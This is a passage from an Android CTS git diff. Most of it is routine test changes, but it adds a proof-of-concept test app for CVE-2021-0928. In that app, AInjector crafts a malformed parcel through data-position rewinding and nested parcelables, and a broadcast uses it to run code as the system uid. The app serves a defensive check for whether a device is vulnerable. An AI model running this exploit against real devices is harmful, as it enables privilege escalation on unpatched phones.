+ parcel.writeInt(0); // screenOrientation
+ parcel.writeInt(0); // configChanges
+ parcel.writeInt(0); // softInputMode
+ parcel.writeInt(0); // uiOptions
+ parcel.writeString(null); // parentActivityName
+ parcel.writeInt(0); // persistableMode
+ parcel.writeInt(0); // maxRecents
+ parcel.writeInt(0); // lockTaskLaunchMode
+ parcel.writeInt(0); // windowLayout == null
+ parcel.writeInt(0); // resizeMode
+ parcel.writeString(null); // requestedVrComponent
+ parcel.writeInt(0); // rotationAnimation
+ parcel.writeInt(0); // colorMode
+ parcel.writeFloat(0); // mMaxAspectRatio
+ parcel.writeFloat(0); // mMinAspectRatio
+ parcel.writeBoolean(false); // supportsSizeChanges
+ parcel.writeStringArray(null); // attributionTags
+ // End mActivityInfo
+ parcel.writeInt(0); // mTextLinks == null
+ // End mItems.get(0)
+ // End ClipData
+ }
+
+ /**
+ * Detect number of bytes we need to go back with {@link Parcel#setDataPosition(int)} in order
+ * to overwrite class name written previously by {@link Parcel#writeParcelable(Parcelable, int)}
+ */
+ private static int doDetectRewind() {
+ AInjector injector = new AInjector();
+ injector.mDetectRewind = true;
+ Parcel parcel = Parcel.obtain();
+ parcel.writeParcelable(injector, 0);
+ parcel.recycle();
+ return injector.mRewind;
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ if (mDetectRewind) {
+ mRewind = dest.dataPosition();
+ return;
+ }
+ dest.setDataPosition(dest.dataPosition() - mRewind);
+ dest.writeString("android.service.notification.ZenPolicy");
+ // Begin ZenPolicy
+ dest.writeInt(0); // mPriorityCategories.size()
+ dest.writeInt(1); // mVisualEffects.size()
+ dest.writeInt(VAL_PARCELABLE);
+ dest.writeString("android.hardware.camera2.params.OutputConfiguration");
+ // Begin OutputConfiguration
+ dest.writeInt(0); // mRotation
+ dest.writeInt(0); // mSurfaceGroupId
+ dest.writeInt(0); // mSurfaceType
+ dest.writeInt(0); // mConfiguredSize.mWidth
+ dest.writeInt(0); // mConfiguredSize.mHeight
+ dest.writeInt(0); // mIsDeferredConfig
+ dest.writeInt(0); // mIsShared
+ dest.writeInt(0); // mSurfaces.size()
+ dest.writeString(null); // mPhysicalCameraId
+ dest.writeInt(0); // mIsMultiResolution
+ dest.writeInt(2); // mSensorPixelModesUsed.size()
+ // Begin mSensorPixelModesUsed.get(0)
+ dest.writeInt(VAL_PARCELABLE);
+ dest.writeString("android.window.WindowContainerTransaction");
+ dest.writeInt(0); // mChanges.size()
+ dest.writeInt(1); // mHierarchyOps.size()
+ dest.writeInt(VAL_SERIALIZABLE);
+ dest.writeSerializable(new PackageManagerException());
+ // End mSensorPixelModesUsed.get(0)
+ // Begin mSensorPixelModesUsed.get(1)
+ dest.writeInt(VAL_BUNDLE);
+ int bundleLengthPos = dest.dataPosition();
+ dest.writeInt(0); // Will hold length
+ dest.writeInt(BUNDLE_MAGIC);
+ int bundleStartPos = dest.dataPosition();
+ writeFinalPayload(dest);
+ int bundleEndPos = dest.dataPosition();
+ // Begin Patch bundle size
+ dest.setDataPosition(bundleLengthPos);
+ dest.writeInt(bundleEndPos - bundleStartPos);
+ dest.setDataPosition(bundleEndPos);
+ // End Patch bundle size
+ // End mSensorPixelModesUsed.get(1)
+ // End OutputConfiguration
+ dest.writeInt(0); // mPriorityCalls
+ dest.writeInt(0); // mPriorityMessages
+ dest.writeInt(0); // mConversationSenders
+ // End ZenPolicy
+ }
+
+ private void writeFinalPayload(Parcel dest) {
+ // Finish ClipData
+ finishClipData(dest);
+ // Finish Intent
+ dest.writeInt(0); // mContentUserHint
+ dest.writeBundle(null); // mExtras
+
+ // in ActivityInfo info
+ dest.writeInt(1); // != null
+ sInjectedInfo.writeToParcel(dest, 0);
+
+ // in CompatibilityInfo compatInfo
+ dest.writeInt(0); // == null
+
+ // int resultCode
+ dest.writeInt(0); // == null
+ // in String data
+ dest.writeString(null);
+ // in Bundle extras
+ dest.writeInt(0); // == null
+ // boolean sync
+ dest.writeInt(0); // false
+ // int sendingUser
+ dest.writeInt(0);
+ // int processState
+ dest.writeInt(0);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
new file mode 100644
index 0000000..f129d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0928;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String TAG = "TAG_2021_0928.DeviceTest";
+ private UiDevice mDevice;
+
+ @Test
+ public void test() {
+ Log.d(TAG, "test() start");
+
+ // set mDevice and go to homescreen
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mDevice.pressHome();
+ Context context = getApplicationContext();
+ String TEST_PACKAGE = "android.security.cts.CVE_2021_0928";
+ PackageManager packageManager = context.getPackageManager();
+
+ // start poc app
+ Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ Log.d(TAG, "test(): Activity started");
+
+ // wait 30 seconds for poc app to complete
+ SystemClock.sleep(30000);
+ Log.d(TAG, "test() end");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
new file mode 100644
index 0000000..41397d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
@@ -0,0 +1,85 @@
+package android.security.cts.CVE_2021_0928;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Process;
+import android.util.Log;
+import org.junit.Assert;
+
+import static org.junit.Assert.assertNotEquals;
+
+public class MainActivity extends Activity {
+
+ private static final String TAG = "TAG_2021_0928.MainActivity";
+
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.d(TAG, "onReceive()");
+ int uid = intent.getIntExtra("uid", 0);
+ Log.d(TAG, "onReceive() received uid=" + uid);
+ assertNotEquals("UID should not be escalated. Device is vulnerable", uid, 1000);
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(
+ TAG,
+ "onCreate() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+
+ // receiver to get signal from Privilege escalation
+ registerReceiver(broadcastReceiver, new IntentFilter("TAG_2021_0928"));
+
+ setContentView(R.layout.activity_main);
+ ComponentName component =
+ new ComponentName(
+ "com.android.settings", "com.android.settings.SettingsInitialize");
+
+ try {
+ ActivityInfo info = getPackageManager().getReceiverInfo(component, 0);
+ info.applicationInfo.packageName = getPackageName();
+ info.applicationInfo.sourceDir = getApplicationInfo().sourceDir;
+ info.applicationInfo.appComponentFactory = null;
+ AInjector.sInjectedInfo = info;
+ } catch (PackageManager.NameNotFoundException e) {
+ Log.d(TAG, e.toString());
+ assumeNoException(e);
+ }
+
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+ intent.setComponent(component);
+ intent.setClipData(AInjector.createClipData());
+
+ // on vulnerable device sendBroadcast(intent) does not execute
+ // com.android.settings.SettingsInitialize.onReceive()
+ sendBroadcast(intent);
+ Log.d(TAG, "onCreate() end()");
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ Log.d(
+ TAG,
+ "onStop() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
new file mode 100644
index 0000000..a56b82e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
@@ -0,0 +1,5 @@
+package com.android.server.pm;
+
+public class PackageManagerException extends Exception {
+ static final long serialVersionUID = -2840575793016687751L;
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
new file mode 100644
index 0000000..ce5348b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
@@ -0,0 +1,39 @@
+package com.android.settings;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+
+public class SettingsInitialize extends BroadcastReceiver {
+
+ private static final String TAG = "TAG_2021_0928.BroadcastReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+
+ Log.d(
+ TAG,
+ "onReceive() start. Process.myUid()="
+ + Process.myUid()
+ + " Process.myPid()="
+ + Process.myPid());
+ Log.v("Shellcode", "Hello from uid=" + Process.myUid());
+
+ // Send notification to test app
+ Intent i = new Intent("TAG_2021_0928");
+ i.putExtra("uid", Process.myUid());
+ context.sendBroadcast(i);
+ Log.d(TAG, "onReceive() end");
+ }
+}
diff --git a/hostsidetests/silentupdate/AndroidTest.xml b/hostsidetests/silentupdate/AndroidTest.xml
index 14d770c..caad158 100644
--- a/hostsidetests/silentupdate/AndroidTest.xml
+++ b/hostsidetests/silentupdate/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSilentUpdateTestCases.apk" />
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index 1e02c04..8c63f10 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps can't have INSTALL_PACKAGES permission. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<!-- Module reboots the device making it inelligible for running in secondary users. -->
<!-- TODO: Revisit secondary user eligibility once b/137885984 is resolved. -->
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
index 5498737..1d54c1f 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -105,7 +105,11 @@
// before tests are executed.
// See b/178367954.
File file = getTestInformation().getDependencyFile(DEVICE_TEST_APK, true);
- String output = mDevice.installPackageForUser(file, true, false, userId);
+
+ // --dont-kill is to avoid the test app being killed if ActivityManager is slow to
+ // respond to the install event.
+ // See b/202824003.
+ String output = mDevice.installPackageForUser(file, true, false, userId, "--dont-kill");
if (output != null) {
stopAndRemoveUser(userId);
Assert.fail("Failed to install test apk " + output);
diff --git a/tests/.gitignore b/tests/.gitignore
deleted file mode 120000
index 493d8f0..0000000
--- a/tests/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file
diff --git a/tests/attentionservice/AndroidTest.xml b/tests/attentionservice/AndroidTest.xml
index 06fd362..356441c 100644
--- a/tests/attentionservice/AndroidTest.xml
+++ b/tests/attentionservice/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAttentionServiceDeviceTestCases.apk" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
index 53bd825..cceec68 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
@@ -16,6 +16,7 @@
package android.autofillservice.cts.activities;
import android.autofillservice.cts.testcore.Timeouts;
+import android.content.res.Configuration;
import com.android.compatibility.common.util.RetryableException;
@@ -48,6 +49,17 @@
}
}
+ @Override
+ public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+ super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+ if (sLastInstanceLatch != null) {
+ // mWindowingMode is split-screen-primary
+ if (isInMultiWindowMode) {
+ sLastInstanceLatch.countDown();
+ }
+ }
+ }
+
public static void expectNewInstance(boolean waitWindowFocus) {
sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
index 72b0e8f..66ab8aa 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
@@ -286,6 +286,7 @@
// Fill in some stuff
mActivity.mUsername.setText("foo");
sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+ SystemClock.sleep(300);
focusToPasswordExpectNoWindowEvent();
sReplier.getNextFillRequest();
mActivity.mPassword.setText("bar");
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 189f35a..a852729 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -837,9 +837,9 @@
int[] output = new int[w * h];
// TODO: Optimize this with renderscript intrinsics
- byte[] yRow = new byte[yPixStride * w];
- byte[] cbRow = new byte[cbPixStride * w / 2];
- byte[] crRow = new byte[crPixStride * w / 2];
+ byte[] yRow = new byte[yPixStride * (w - 1) + 1];
+ byte[] cbRow = new byte[cbPixStride * (w / 2 - 1) + 1];
+ byte[] crRow = new byte[crPixStride * (w / 2 - 1) + 1];
yBuf.mark();
cbBuf.mark();
crBuf.mark();
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 6428896..6123592 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -185,7 +185,7 @@
for (String cameraId : mCameraIdsUnderTest) {
Exception prior = null;
- ImageVerifierListener yuvListener;
+ ImageVerifierListener yuvListener = null;
ImageReader yuvReader = null;
try {
@@ -210,6 +210,9 @@
prior = e;
} finally {
try {
+ if (yuvListener != null) {
+ yuvListener.onReaderDestroyed();
+ }
if (yuvReader != null) {
yuvReader.close();
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b125d25..492cc68 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -243,19 +243,24 @@
if (mStaticInfo.isLogicalMultiCamera()) {
Set<String> physicalCameraIds =
mStaticInfo.getCharacteristics().getPhysicalCameraIds();
+ boolean skipTest = false;
for (String physicalId : physicalCameraIds) {
if (Arrays.asList(mCameraIdsUnderTest).contains(physicalId)) {
// If physicalId is advertised in camera ID list, do not need to test
// its stream combination through logical camera.
- continue;
+ skipTest = true;
}
for (Pair<String, String> unavailPhysicalCam : unavailablePhysicalCameras) {
if (unavailPhysicalCam.first.equals(id) ||
unavailPhysicalCam.second.equals(physicalId)) {
// This particular physical camera isn't available. Skip.
- continue;
+ skipTest = true;
+ break;
}
}
+ if (skipTest) {
+ continue;
+ }
StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
MandatoryStreamCombination[] phyCombinations =
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 8c5cb93..8f5a7b7 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -496,14 +496,22 @@
public static class ImageVerifierListener implements ImageReader.OnImageAvailableListener {
private Size mSize;
private int mFormat;
+ // Whether the parent ImageReader is valid or not. If the parent ImageReader
+ // is destroyed, the acquired Image may become invalid.
+ private boolean mReaderIsValid;
public ImageVerifierListener(Size sz, int format) {
mSize = sz;
mFormat = format;
+ mReaderIsValid = true;
+ }
+
+ public synchronized void onReaderDestroyed() {
+ mReaderIsValid = false;
}
@Override
- public void onImageAvailable(ImageReader reader) {
+ public synchronized void onImageAvailable(ImageReader reader) {
Image image = null;
try {
image = reader.acquireNextImage();
@@ -513,7 +521,11 @@
// could be closed asynchronously, which will close all images acquired from
// this ImageReader.
checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
- checkAndroidImageFormat(image);
+ // checkAndroidImageFormat calls into underlying Image object, which could
+ // become invalid if the ImageReader is destroyed.
+ if (mReaderIsValid) {
+ checkAndroidImageFormat(image);
+ }
image.close();
}
}
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 09c9a78..ff1cf64 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -35,5 +35,7 @@
<option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
<option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
<option name="hidden-api-checks" value="false" />
+ <!-- test-timeout unit is ms, value = 10 min -->
+ <option name="test-timeout" value="600000" />
</test>
</configuration>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index e2092e8..66b3916 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,9 +16,13 @@
package android.devicepolicy.cts;
-import static org.junit.Assert.assertThrows;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+import static com.android.queryable.queries.ServiceQuery.service;
+
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertThrows;
+
import android.accounts.Account;
import android.accounts.AccountManager;
import android.accounts.AuthenticatorException;
@@ -62,9 +66,12 @@
private static final TestAppProvider sTestAppProvider = new TestAppProvider();
private static final TestApp sAccountManagementApp = sTestAppProvider
.query()
- .wherePackageName()
- // TODO(b/198423919): Support Querying services in TestApp
- .isEqualTo("com.android.bedstead.testapp.AccountManagementApp")
+ // TODO(b/198590265) Filter for the correct account type.
+ .whereServices().contains(
+ service().intentFilters().contains(
+ intentFilter().actions().contains(
+ "android.accounts.AccountAuthenticator"))
+ )
.get();
private static final String EXISTING_ACCOUNT_TYPE =
"com.android.bedstead.testapp.AccountManagementApp.account.type";
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
index 8586d26..b7038b5 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
@@ -26,6 +26,8 @@
import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
import static com.android.bedstead.harrier.DeviceState.UserType.WORK_PROFILE;
import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+import static com.android.queryable.queries.ActivityQuery.activity;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -64,10 +66,12 @@
private static final Context sContext = TestApis.context().instrumentedContext();
private static final TestAppProvider sTestAppProvider = new TestAppProvider();
- // TODO(b/198420874): rather than querying by package name, query apps by intents they need to
- // handle: "com.android.testapp.SOME_ACTION" and "android.intent.action.PICK"
- private static final TestApp sTestApp = sTestAppProvider.query().wherePackageName()
- .isEqualTo("com.android.bedstead.testapp.EmptyTestApp2").get();
+ private static final TestApp sTestApp = sTestAppProvider.query().whereActivities().contains(
+ activity().intentFilters().contains(
+ intentFilter().actions().contains("com.android.testapp.SOME_ACTION"),
+ intentFilter().actions().contains("android.intent.action.PICK")
+ )
+ ).get();
// Known action that is handled in the opposite profile, used to query forwarder activity.
private static final String CROSS_PROFILE_ACTION = "com.android.testapp.SOME_ACTION";
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
index 8f68f36..e212674 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
@@ -16,6 +16,8 @@
package android.devicepolicy.cts;
+import static com.android.queryable.queries.ServiceQuery.service;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertThrows;
@@ -55,13 +57,15 @@
private static final TestAppProvider sTestAppProvider = new TestAppProvider();
private static final TestApp sAccountManagementApp = sTestAppProvider
.query()
- .wherePackageName()
- // TODO(b/198423919): Support Querying services in TestApp
- .isEqualTo("com.android.bedstead.testapp.AccountManagementApp")
+ // TODO(b/198417584): Support Querying XML resources in TestApp.
+ // TODO(b/198590265) Filter for the correct account type.
+ .whereServices().contains(
+ service().serviceClass().className()
+ .isEqualTo("com.android.bedstead.testapp.AccountManagementApp"
+ + ".TestAppAccountAuthenticatorService"))
.get();
private static final TestApp sDpcApp = sTestAppProvider
.query()
- // TODO(b/198423919): Support Querying services in TestApp
.wherePackageName().isEqualTo(RemoteDpc.DPC_COMPONENT_NAME.getPackageName())
.get();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
index 1487dfe..5614255 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
@@ -35,6 +35,7 @@
import static org.junit.Assume.assumeTrue;
import android.app.KeyguardManager;
+import android.app.admin.RemoteDevicePolicyManager;
import android.content.Context;
import android.stats.devicepolicy.EventId;
@@ -159,8 +160,13 @@
// Add complex password restriction
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
- DPC_COMPONENT_NAME, 6);
+ setComplexPasswordRestrictions(/* minLength */ 6,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
// Password cannot be set as it does not satisfy the password restriction
assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
@@ -180,8 +186,13 @@
// Add complex password restriction
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
- DPC_COMPONENT_NAME, 6);
+ setComplexPasswordRestrictions(/* minLength */ 6,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
// Password can be set as it satisfies the password restriction
assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
@@ -222,8 +233,13 @@
// Add complex password restriction
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
- DPC_COMPONENT_NAME, 6);
+ setComplexPasswordRestrictions(/* minLength */ 6,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
// Password is insufficient because it does not satisfy the password restriction
assertThat(sDeviceState.dpc().devicePolicyManager()
@@ -245,8 +261,13 @@
// Add complex password restriction
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
- DPC_COMPONENT_NAME, 6);
+ setComplexPasswordRestrictions(/* minLength */ 6,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
// Password is sufficient because it satisfies the password restriction
assertThat(sDeviceState.dpc().devicePolicyManager()
@@ -265,8 +286,13 @@
try {
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(DPC_COMPONENT_NAME,
PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(
- DPC_COMPONENT_NAME, 1);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 1,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(DPC_COMPONENT_NAME,
COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7, TOKEN, /* flags = */ 0);
// Set a slightly stronger password restriction
@@ -381,6 +407,13 @@
try {
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+ setComplexPasswordRestrictions(/* minLength */ 0,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
@@ -417,8 +450,13 @@
// The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
- sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
- DPC_COMPONENT_NAME, 6);
+ setComplexPasswordRestrictions(/* minLength */ 6,
+ /* minSymbols */ 0,
+ /* minNonLetter */ 0,
+ /* minNumeric */ 0,
+ /* minLetters */ 0,
+ /* minLowerCase */ 0,
+ /* minUpperCase */ 0);
